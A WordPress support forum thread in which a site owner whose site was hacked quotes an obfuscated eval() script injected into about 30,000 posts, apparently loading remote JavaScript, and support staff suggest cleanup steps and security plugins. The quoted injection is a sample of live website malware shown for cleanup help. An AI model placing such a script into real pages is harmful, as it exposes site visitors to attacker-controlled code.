Very frustratingly our site was compromised recently and after a while of downtime we’ve managed to get it back up and running.
With that said, while the site was down, it appears this code has been placed into almost all of our 30k posts on the site.
<noindex><script id=”wpinfo-pst1″ type=”text/javascript” rel=”nofollow”>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k”+”l>”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfbsr|var|u0026u|referrer|natys||js|php’.split(‘|’),0,{}))
</script></noindex>
Can anyone tell me how I can get this removed with either a plugin or mysql code to find and replace? I’ve been scouring the internet, tried lots of plugins but none of them seem to work as they dont find the string and i’m not clever enough to work out what mysql query i need to run.
Thanks.
Dave
Hello Dave,
I recommend you to make a full backup to your database, remove the old theme and update it to the latest version of it via FTP way, clear all the caches and check the results. This error should not be displayed if the theme was correctly updated. Also, remove the untested plugins and check the results.
Thanks for your understanding!
Thanks. I’ve tried that and the code still remains. Is there no way to run a mysql script to rid the database of all these code mentions?
They’re sitting in the post body of all 30 000 posts.
Tx
Dave
Hello,
Unfortunately we cannot offer any way of altering the db and all of the 30k posts at once. Sorry for the inconvenience. You can try to use a search and replace plugin maybe. Try this solution : https://www.raymond.cc/blog/easily-edit-multiple-wordpress-posts-with-search-regex/
Thanks.
Yeah i already tried that before writing this post. Doesnt work.
Did you give security plugins a shot?
https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/
https://sucuri.net/guides/how-to-clean-hacked-wordpress/
Unfortunately I have no better suggestions at the moment. It is always better to prevent than to fix such issues.
Thanks.
Thanks I’ll give it a try. As soon as this happened we installed Wordfence and paid for the premium version! Now i’ll see if i can find someone on People Per Hour who’s reputable who may be able to help if i cant get you idea to work.
Thanks.
